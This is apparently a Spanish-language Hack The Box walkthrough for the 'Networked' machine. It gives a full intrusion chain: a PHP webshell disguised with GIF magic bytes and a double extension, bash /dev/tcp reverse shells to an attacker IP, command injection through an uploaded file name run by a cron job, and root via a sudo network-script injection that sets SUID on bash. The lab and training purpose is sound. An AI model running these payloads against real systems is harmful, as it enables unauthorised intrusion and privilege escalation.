Networked

Hack The Box — Metodología Detallada

Networked

IP:10.129.20.170
OS:Linux
Dificultad:Easy
Fecha:28 de junio de 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn "$target_ip" -oG allPorts

# Output
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Se realizó el escaneo con la herramienta nmap, en el cual se encontraron dos puertos abiertos: el puerto 22 (SSH) y el puerto 80 (HTTP), constituyendo este último el único vector interesante ya que el puerto 22 requiere credenciales válidas.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

Hipótesis: dada la versión de Apache (2.4.x) y PHP (5.4.16), claramente desactualizadas, se consideró la posibilidad de que la máquina fuera vulnerable a alguna de las CVE comunes asociadas a esta rama, entre ellas: CVE-2019-17567 (fallo en mod_proxy_wstunnel), CVE-2023-38709 (HTTP response splitting), CVE-2025-53020 (liberación tardía de memoria) y CVE-2014-0117 (DoS en mod_proxy). Se decidió mantener esta información como referencia y continuar con la enumeración web antes de profundizar en alguna CVE específica, dado que ninguna de ellas presentaba un vector claro de explotación inicial sin más contexto de la aplicación.

Página web principal

Enumeración

Revisión del código fuente

A simple vista, la página principal no mostraba nada interesante. Al inspeccionar el código fuente de la página mediante Ctrl+U se obtuvo el siguiente resultado:

# Ctrl + U
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>

Hallazgo: el comentario <!– upload and gallery not yet linked –> resulta especialmente relevante, ya que sugiere la existencia de funcionalidades de upload y gallery aún no enlazadas en la navegación visible, lo cual representa una pista clara para enumeración de directorios adicionales.

Enumeración con Feroxbuster

Con base en la pista anterior, se decidió realizar un escaneo con feroxbuster para verificar la existencia de dichos directorios y descubrir contenido adicional.

# Comando ejecutado
feroxbuster -u http://10.129.20.170/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt

# Output
200      GET      201l      582w    10240c http://10.129.20.170/backup/backup.tar
301      GET        7l       20w      237c http://10.129.20.170/uploads => http://10.129.20.170/uploads/

Se encontró un archivo llamado backup.tar y se confirmó la existencia de la carpeta uploads, en línea con lo sugerido por el comentario hallado en el código fuente.

Descarga y análisis del backup

Al encontrar el archivo backup.tar se procedió a descargarlo y revisar su contenido.

# Comando ejecutado
curl -O http://10.129.20.170/backup/backup.tar

% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
100  10240  100  10240    0     0  56832      0 --:--:-- --:--:-- --:--:--     0

ls

total 16
-rw-r--r-- 1 root  root    397 Jun 28 04:51 allPorts
-rw-r--r-- 1 Avilx Avilx 10240 Jun 28 05:33 backup.tar

tar -tvf backup.tar

-rw-r--r-- root/root       229 2019-07-09 11:33 index.php
-rw-r--r-- root/root      2001 2019-07-02 11:38 lib.php
-rw-r--r-- root/root      1871 2019-07-02 12:53 photos.php
-rw-r--r-- root/root      1331 2019-07-02 12:45 upload.php

Se identificaron cuatro archivos PHP dentro del backup, correspondientes a la lógica completa de la funcionalidad de carga de archivos y galería mencionada en el comentario del código fuente.

tar -xvf backup.tar

index.php
lib.php
photos.php
upload.php

Análisis del código fuente extraído

Se procedió a analizar el contenido completo de los cuatro archivos extraídos, con el objetivo de identificar lógica de validación potencialmente vulnerable.

cat index.php

<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>

Observación: el contenido de index.php coincide exactamente con lo ya observado en la revisión inicial del código fuente vía HTTP, confirmando que se trata del mismo archivo en producción.

cat upload.php

<?php
require '/var/www/html/lib.php';

define("UPLOAD_DIR", "/var/www/html/uploads/");

if( isset($_POST['submit']) ) {
    if (!empty($_FILES["myFile"])) {
        $myFile = $_FILES["myFile"];
        
        if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
            echo '<pre>Invalid image file.</pre>';
            displayform();
        }
        
        if ($myFile["error"] !== UPLOAD_ERR_OK) {
            echo "<p>An error occurred.</p>";
            displayform();
            exit;
        }
        
        //$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
        list ($foo,$ext) = getnameUpload($myFile["name"]);
        $validext = array('.jpg', '.png', '.gif', '.jpeg');
        $valid = false;
        foreach ($validext as $vext) {
            if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
                $valid = true;
            }
        }
        
        if (!($valid)) {
            echo "<p>Invalid image file</p>";
            displayform();
            exit;
        }
        $name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
        
        $success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
        if (!$success) {
            echo "<p>Unable to save file.</p>";
            exit;
        }
        echo "<p>file uploaded, refresh gallery</p>";
        
        // set proper permissions on the new file
        chmod(UPLOAD_DIR . $name, 0644);
    }
} else {
    displayform();
}
?>

cat lib.php

<?php

function getnameCheck($filename) {
    $pieces = explode('.',$filename);
    $name= array_shift($pieces);
    $name = str_replace('_','.',$name);
    $ext = implode('.',$pieces);
    #echo "name $name - ext $ext\n";
    return array($name,$ext);
}

function getnameUpload($filename) {
    $pieces = explode('.',$filename);
    $name= array_shift($pieces);
    $name = str_replace('_','.',$name);
    $ext = implode('.',$pieces);
    return array($name,$ext);
}

function check_ip($prefix,$filename) {
    //echo "prefix: $prefix - fname: $filename<br>\n";
    $ret = true;
    if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
        $ret = false;
        $msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
    } else {
        $msg = $filename;
    }
    return array($ret,$msg);
}

function file_mime_type($file) {
    $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
    if (function_exists('finfo_file')) {
        $finfo = finfo_open(FILEINFO_MIME);
        if (is_resource($finfo))
        {
            $mime = @finfo_file($finfo, $file['tmp_name']);
            finfo_close($finfo);
            if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
                $file_type = $matches[1];
                return $file_type;
            }
        }
    }
    if (function_exists('mime_content_type'))
    {
        $file_type = @mime_content_type($file['tmp_name']);
        if (strlen($file_type) > 0)
        {
            return $file_type;
        }
    }
    return $file['type'];
}

function check_file_type($file) {
    $mime_type = file_mime_type($file);
    if (strpos($mime_type, 'image/') === 0) {
        return true;
    } else {
        return false;
    }
}

function displayform() {
    ?>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">
    <input type="file" name="myFile">
    <br>
    <input type="submit" name="submit" value="go!">
    </form>
    <?php
    exit();
}
?>

Hallazgo en upload.php: la validación de extensión (líneas 23-29) utiliza substr_compare para verificar únicamente que el nombre del archivo termine en una extensión válida (.jpg, .png, .gif, .jpeg), sin restringir el contenido del nombre antes de dicha extensión.

Hallazgo en lib.php: la función getnameUpload() (líneas 12-18) obtiene la extensión real que se utilizará para guardar el archivo mediante un explode por todos los puntos del nombre, descartando el primer fragmento (array_shift) y reconstruyendo el resto con implode. Adicionalmente, check_file_type() (líneas 57-64) valida el tipo MIME real del archivo mediante finfo_file/mime_content_type, no su extensión declarada.

Hipótesis planteada: un archivo nombrado shell.php.jpg pasaría la validación de substr_compare al terminar en .jpg. Sin embargo, al procesarse con getnameUpload(), los fragmentos resultantes del explode(’.’, "shell.php.jpg") serían shell, php, jpg; tras el array_shift (que retira shell), el implode('.', $pieces) reconstruiría la extensión como php.jpg. El nombre final guardado en el servidor seguiría el patrón definido en la línea 36 de upload.php:

$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;

resultando en un archivo del tipo <ip_atacante>.php.jpg, potencialmente ejecutable por Apache debido a la presencia de .php en el nombre (vulnerabilidad clásica de doble extensión en configuraciones antiguas de Apache).

Bypass de validación MIME — Magic Bytes

Para superar check_file_type(), dado que esta función valida el contenido real del archivo y no su nombre, se planteó construir un archivo cuyo contenido iniciara con la cabecera (magic bytes) correspondiente a un archivo GIF válido, seguida del payload PHP.

echo 'GIF89a;' > shell.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg

cat shell.php.jpg

GIF89a;
<?php system($_GET["cmd"]); ?>

De esta forma, el sistema identifica el archivo como image/gif a nivel de contenido, mientras el nombre conserva la doble extensión necesaria para su ejecución como PHP.

Explotación

Acceso al formulario de carga

Dado que index.php no enlaza visualmente a upload.php (confirmado por el comentario HTML hallado previamente), se accedió directamente a la ruta:

http://10.129.20.170/upload.php

Carga del archivo malicioso

Se subió el archivo shell.php.jpg a través del formulario, obteniendo confirmación de éxito:

file uploaded, refresh gallery

Confirmación de RCE

Conociendo la lógica de nombrado (ip_atacante.php.jpg), se accedió directamente al archivo subido con un parámetro de comando:

http://10.129.20.170/uploads/10_10_15_163.php.jpg?cmd=id

Resultado:

GIF89a; uid=48(apache) gid=48(apache) groups=48(apache)

Esto confirmó la ejecución remota de comandos (RCE) en el contexto del usuario apache, validando exitosamente la cadena completa: comentario HTML $\rightarrow$ backup expuesto $\rightarrow$ análisis de código $\rightarrow$ bypass de doble extensión y MIME type.

Obtención de reverse shell

Se inició un listener en la máquina atacante:

nc -lvnp 4444

Y se envió el payload de reverse shell mediante el parámetro cmd, codificado para URL:

curl -G "http://10.129.20.170/uploads/10_10_15_163.php.jpg" \
--data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.15.163/4444 0>&1"'

Resultado:

Listening on 0.0.0.0 4444
Connection received on 10.129.20.170 40902
bash: no job control in this shell
bash-4.2$ whoami
apache
bash-4.2$ pwd
/var/www/html/uploads
bash-4.2$ ls
10_10_15_163.php.jpg
127_0_0_1.png
127_0_0_2.png
127_0_0_3.png
127_0_0_4.png
index.html

Escalada de Privilegios

Intento fallido — estabilización con python3

Hipótesis: se intentó estabilizar la sesión mediante el método habitual con python3.

python3 -c 'import pty;pty.spawn("/bin/bash")'
bash: python3: command not found

Por qué no funcionó: al tratarse de una máquina basada en CentOS de 2019, el sistema no cuenta con python3 instalado por defecto, únicamente con python (versión 2).

Intento fallido — sudo -l sin TTY

Hipótesis: se intentó verificar los permisos sudo del usuario apache inmediatamente después de obtener la shell.

sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

sudo: no tty present and no askpass program specified

Por qué no funcionó: la shell obtenida mediante netcat no cuenta con una TTY completa, por lo que sudo no puede solicitar la contraseña de forma interactiva. Se procedió a estabilizar la sesión con python (versión 2, disponible en el sistema):

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

Intento fallido — sudo -l sin contraseña

Tras estabilizar la sesión, se reintentó el comando.

sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for apache:
Sorry, try again.
[sudo] password for apache:
Sorry, try again.
[sudo] password for apache:
sudo: 3 incorrect password attempts

Por qué no funcionó: no se contaba con la contraseña del usuario apache, por lo que se descartó esta vía y se procedió a buscar vectores alternativos de escalada mediante enumeración manual.

Enumeración de binarios SUID/SGID, capabilities y cron

find / -perm -4000 -type f 2>/dev/null

/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/fusermount

find / -perm -2000 -type f 2>/dev/null

/usr/libexec/openssh/ssh-keysign
/usr/libexec/utempter/utempter
/usr/sbin/sendmail.sendmail
/usr/sbin/netreport
/usr/sbin/postdrop
/usr/sbin/postqueue
/usr/bin/wall
/usr/bin/write
/usr/bin/lockfile
/usr/bin/ssh-agent

find / -type f -exec getcap {} \; 2>/dev/null

/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/bin/ping = cap_net_admin,cap_net_raw+p

ls -la /etc/cron.d/ /etc/cron.daily/ 2>/dev/null

/etc/cron.d/:
total 16
drwxr-xr-x.  2 root root   21 Jul  2  2019 .
drwxr-xr-x. 79 root root 8192 Jul  9  2019 ..
-rw-r--r--.  1 root root  128 Nov 20  2018 0hourly

/etc/cron.daily/:
total 20
drwxr-xr-x.  2 root root   42 Jul  2  2019 .
drwxr-xr-x. 79 root root 8192 Jul  9  2019 ..
-rwx------.  1 root root  219 Oct 30  2018 logrotate
-rwxr-xr-x.  1 root root  618 Oct 30  2018 man-db.cron

Observación: ningún binario SUID/SGID ni capability resultó explotable de forma directa. Se identificó que /etc/cron.d/0hourly ejecuta run-parts /etc/cron.hourly como root cada hora.

cat /etc/cron.d/0hourly

# Run the hourly jobs
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
01 * * * * root run-parts /etc/cron.hourly

ls -la /etc/cron.hourly/

total 16
drwxr-xr-x.  2 root root   22 Jul  2  2019 .
drwxr-xr-x. 79 root root 8192 Jul  9  2019 ..
-rwxr-xr-x.  1 root root  392 Nov 20  2018 0anacron

Por qué no funcionó: el único script presente (0anacron) pertenece a root:root sin permisos de escritura para apache, descartando esta vía.

Intento fallido — network-scripts

Hipótesis: dado el nombre de la máquina (Networked), se sospechó que el vector de escalada estaría relacionado con la configuración de red del sistema. Se inspeccionó /etc/sysconfig/network-scripts/, identificando un archivo no estándar.

ls -la /etc/sysconfig/network-scripts/

total 244
drwxr-xr-x. 2 root root  4096 Sep 21  2022 .
drwxr-xr-x. 6 root root  4096 Jul  8  2019 ..
-rw-------  1 root root   265 Sep 21  2022 ifcfg-eth0
-rw-r--r--  1 root root   114 Jul  8  2019 ifcfg-guly
-rw-r--r--. 1 root root   254 Aug 24  2018 ifcfg-lo
lrwxrwxrwx. 1 root root    24 Sep  7  2022 ifdown -> ../../../usr/sbin/ifdown
-rwxr-xr-x  1 root root  1621 Mar 17  2017 ifdown-Team
-rwxr-xr-x  1 root root  1556 Mar 17  2017 ifdown-TeamPort
-rwxr-xr-x. 1 root root   654 Aug 24  2018 ifdown-bnep
-rwxr-xr-x. 1 root root  6532 Aug 24  2018 ifdown-eth
-rwxr-xr-x. 1 root root   781 Aug 24  2018 ifdown-ippp
-rwxr-xr-x. 1 root root  4540 Aug 24  2018 ifdown-ipv6
lrwxrwxrwx. 1 root root    11 Sep  7  2022 ifdown-isdn -> ifdown-ippp
-rwxr-xr-x. 1 root root  2130 Aug 24  2018 ifdown-post
-rwxr-xr-x. 1 root root  1068 Aug 24  2018 ifdown-ppp
-rwxr-xr-x. 1 root root   870 Aug 24  2018 ifdown-routes
-rwxr-xr-x. 1 root root  1456 Aug 24  2018 ifdown-sit
-rwxr-xr-x. 1 root root  1462 Aug 24  2018 ifdown-tunnel
lrwxrwxrwx. 1 root root    22 Sep  7  2022 ifup -> ../../../usr/sbin/ifup
-rwxr-xr-x  1 root root  1755 Mar 17  2017 ifup-Team
-rwxr-xr-x  1 root root  1876 Mar 17  2017 ifup-TeamPort
-rwxr-xr-x. 1 root root 12415 Aug 24  2018 ifup-aliases
-rwxr-xr-x. 1 root root   910 Aug 24  2018 ifup-bnep
-rwxr-xr-x. 1 root root 13475 Aug 24  2018 ifup-eth
-rwxr-xr-x. 1 root root 12075 Aug 24  2018 ifup-ippp
-rwxr-xr-x. 1 root root 11893 Aug 24  2018 ifup-ipv6
lrwxrwxrwx. 1 root root     9 Sep  7  2022 ifup-isdn -> ifup-ippp
-rwxr-xr-x. 1 root root   650 Aug 24  2018 ifup-plip
-rwxr-xr-x. 1 root root  1064 Aug 24  2018 ifup-plusb
-rwxr-xr-x. 1 root root  4997 Aug 24  2018 ifup-post
-rwxr-xr-x. 1 root root  4154 Aug 24  2018 ifup-ppp
-rwxr-xr-x. 1 root root  2001 Aug 24  2018 ifup-routes
-rwxr-xr-x. 1 root root  3303 Aug 24  2018 ifup-sit
-rwxr-xr-x. 1 root root  2711 Aug 24  2018 ifup-tunnel
-rwxr-xr-x. 1 root root  1836 Aug 24  2018 ifup-wireless
-rwxr-xr-x. 1 root root  5419 Aug 24  2018 init.ipv6-global
-rw-r--r--. 1 root root 20671 Aug 24  2018 network-functions
-rw-r--r--. 1 root root 31027 Aug 24  2018 network-functions-ipv6

cat /etc/sysconfig/network-scripts/ifcfg-guly

DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
NAME=ps /tmp/foo
PROXY_METHOD=asodih
BROWSER_ONLY=asdoih
BOOTPROTO=asdoih

Observación: el contenido del campo NAME=ps /tmp/foo sugirió un intento previo de inyección de comandos a través de este mecanismo, posiblemente de un snapshot anterior de la máquina. Se intentó crear un archivo de prueba en el mismo directorio para confirmar permisos de escritura directa.

touch /etc/sysconfig/network-scripts/ifcfg-test
touch: cannot touch '/etc/sysconfig/network-scripts/ifcfg-test': Permission denied

Por qué no funcionó: a pesar de la pista visual en ifcfg-guly, el directorio /etc/sysconfig/network-scripts/ pertenece a root:root con permisos 755, por lo que el usuario apache no posee permisos de escritura para crear nuevos archivos ifcfg-* directamente. Esta vía fue descartada en este punto.

Pivote — cron job check_attack.php

Se buscaron archivos relacionados con crontabs en el sistema, localizando un backup del crontab del usuario guly.

find / -iname "*crontab*" 2>/dev/null

/home/guly/crontab.guly
/usr/share/vim/vim74/syntax/crontab.vim
/usr/share/man/man4/crontabs.4.gz
/usr/share/man/man5/anacrontab.5.gz
/usr/share/man/man5/crontab.5.gz
/usr/share/man/man1/crontab.1.gz
/usr/bin/crontab
/var/lib/yum/yumdb/c/1d5512974760d7facdca01e79f18e857c465342d-crontabs-1.11-6.20121102git.el7-noarch
/etc/crontab
/etc/anacrontab

cat /home/guly/crontab.guly

*/3 * * * * php /home/guly/check_attack.php

Se analizó el contenido del script ejecutado cada 3 minutos.

cat /home/guly/check_attack.php

<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
    $msg='';
    if ($value == 'index.html') {
        continue;
    }
    #echo "-------------\n";
    
    #print "check: $value\n";
    list ($name,$ext) = getnameCheck($value);
    $check = check_ip($name,$value);
    
    if (!($check[0])) {
        echo "attack!\n";
        # todo: attach file
        file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
        
        exec("rm -f $logpath");
        exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
        echo "rm -f $path$value\n";
        mail($to, $msg, $msg, $headers, "-F$value");
    }
}
?>

Vulnerabilidad identificada: el script recorre los archivos en /var/www/html/uploads/ (directorio donde apache sí posee permisos de escritura, al ser el directorio de carga de la aplicación) y, cuando el nombre del archivo no corresponde a una IP válida según check_ip(), concatena dicho nombre directamente dentro de exec() sin sanitización:

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

Esto permite inyección de comandos a través del nombre del archivo subido, ejecutado como el usuario guly cada 3 minutos por el cron correspondiente.

Hipótesis: se planteó crear, desde la shell ya obtenida como apache, un archivo en /var/www/html/uploads/ cuyo nombre contuviera un payload de reverse shell, de forma que al ser procesado por exec() dentro de check_attack.php se ejecutara como el usuario guly.

Intento fallido — caracteres / literales:

touch '/var/www/html/uploads/;bash -i >& /dev/tcp/10.10.15.163/5555 0>&1;'
touch: cannot touch '/var/www/html/uploads/;bash -i >& /dev/tcp/10.10.15.163/5555 0>&1;': No such file or directory

Por qué no funcionó: el sistema de archivos interpreta el carácter / como separador de directorios incluso dentro de comillas en el nombre del archivo. Como el payload (/dev/tcp/10.10.15.163/5555) contiene múltiples /, touch intentó crear subdirectorios inexistentes en lugar de un único archivo con ese nombre literal.

Solución: se utilizó la expansión de variable ${PATH:0:1} (equivalente al primer carácter de $PATH, normalmente /) para evitar escribir el carácter / literalmente en el nombre del archivo, dado que dicho carácter solo se expandiría al momento de la ejecución por bash, no durante la creación del archivo.

touch -- ';bash -i >& ${PATH:0:1}dev${PATH:0:1}tcp${PATH:0:1}10.10.15.163${PATH:0:1}5555 0>&1;'

ls /var/www/html/uploads/

10_10_15_163.php.jpg
127_0_0_1.png
127_0_0_2.png
127_0_0_3.png
127_0_0_4.png
;bash -i >& ${PATH:0:1}dev${PATH:0:1}tcp${PATH:0:1}10.10.15.163${PATH:0:1}5555 0>&1;
index.html

Se abrió un listener en el puerto 5555 y, tras esperar el ciclo del cron (máximo 3 minutos), se recibió una shell como el usuario guly.

nc -lvnp 5555
Listening on 0.0.0.0 5555
Connection received on 10.129.20.170 55992
bash: no job control in this shell
[guly@networked ~]$ pwd
/home/guly
[guly@networked ~]$ whoami
guly

Resultado: se confirmó exitosamente el pivote del usuario apache al usuario guly mediante inyección de comandos a través del nombre de archivo.

Obtención de la flag de usuario

ls -la

total 28
drwxr-xr-x. 2 guly guly 4096 Sep  6  2022 .
drwxr-xr-x. 3 root root   18 Jul  2  2019 ..
lrwxrwxrwx. 1 root root    9 Sep  7  2022 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly   18 Oct 30  2018 .bash_logout
-rw-r--r--. 1 guly guly  193 Oct 30  2018 .bash_profile
-rw-r--r--. 1 guly guly  231 Oct 30  2018 .bashrc
-r--r--r--. 1 root root  782 Oct 30  2018 check_attack.php
-rw-r--r--  1 root root   44 Oct 30  2018 crontab.guly
-r--------. 1 guly guly   33 Jun 28 06:29 user.txt

cat user.txt
2872a604702bf28e2dd7587bbb717b33

Escalada de guly a root

Se verificaron los privilegios sudo del usuario.

sudo -l

Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh

Observación: el usuario guly puede ejecutar el script changename.sh como root sin contraseña. Se analizó su contenido para identificar el vector de abuso.

cat /usr/local/sbin/changename.sh

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0

Hallazgo clave: el script escribe la respuesta del usuario sin comillas (echo $var=$x >> ...), por lo que un valor con un espacio (carácter permitido por la regex ^[a-zA-Z0-9_ /-]+$) genera una línea del tipo NAME=x /ruta/script en el archivo ifcfg-guly. Cuando dicho archivo es procesado posteriormente por ifup (ejecutado como root), bash interpreta esa línea como una asignación de variable seguida de la ejecución de un comando como argumento.

Primer intento — entrada vacía:

Hipótesis: se intentó omitir el valor del campo NAME para observar el comportamiento de la validación.

sudo /usr/local/sbin/changename.sh
interface NAME:

wrong input, try again
interface NAME:

wrong input, try again
[... ciclo repetido por entradas vac\'ias consecutivas ...]
interface NAME:
d
interface PROXY_METHOD:
d
interface BROWSER_ONLY:
d
interface BOOTPROTO:
d
ERROR     : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.

Por qué no funcionó: la regex exige al menos un carácter válido (+), por lo que una entrada vacía es rechazada repetidamente por el bucle while. Este primer intento solo permitió confirmar el comportamiento del script y la generación del archivo ifcfg-guly, sin lograr ejecución de comandos.

Segundo intento — script con extensión:

Hipótesis: se preparó un payload en /tmp/priv.sh que otorgara el bit SUID a /bin/bash, asumiendo que bastaría con referenciarlo en el campo NAME junto a un carácter inicial y un espacio.

echo '#!/bin/bash' > /tmp/priv.sh
echo 'chmod +s /bin/bash' >> /tmp/priv.sh
chmod +x /tmp/priv.sh

sudo /usr/local/sbin/changename.sh
interface NAME:
x /tmp/priv.sh
wrong input, try again

Por qué no funcionó: la ruta /tmp/priv.sh fue rechazada por la regex al contener un punto (.), carácter no incluido en el conjunto permitido [a-zA-Z0-9_ /-]. La extensión .sh, aunque necesaria convencionalmente para identificar un script bash, no es aceptada por esta validación.

Solución: se renombró el script eliminando la extensión, de forma que su nombre cumpliera con la regex.

mv /tmp/priv.sh /tmp/priv
ls -la /tmp/priv
-rwxrwxr-x 1 guly guly 31 Jun 28 08:40 /tmp/priv

Se ejecutó nuevamente el script con privilegios sudo, ingresando x /tmp/priv en el campo NAME (válido según la regex: letras, espacio y /).

sudo /usr/local/sbin/changename.sh
interface NAME:
x /tmp/priv
interface PROXY_METHOD:
a
interface BROWSER_ONLY:
a
interface BOOTPROTO:
a
ERROR     : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.

Observación: el mensaje de error sobre el dispositivo guly0 es esperado y no afecta el resultado, ya que la ejecución del payload ocurre durante el procesamiento de la línea NAME por parte de ifup-eth, independientemente de si el dispositivo de red final llega a inicializarse correctamente.

Resultado: el bit SUID fue aplicado exitosamente sobre /bin/bash.

ls -la /bin/bash
-rwsr-sr-x. 1 root root 964608 Oct 30  2018 /bin/bash

Se obtuvo una shell con privilegios de root.

/bin/bash -p
whoami
root

Obtención de la flag root

cat /root/root.txt
e417687f7ef7db2f37724d71eeb44c08

Reflexión Final

Qué salió bien

Qué salió mal o costó más

Lecciones aprendidas

Tiempo total

Tiempo total invertido en la resolución de la máquina: aproximadamente 3 horas.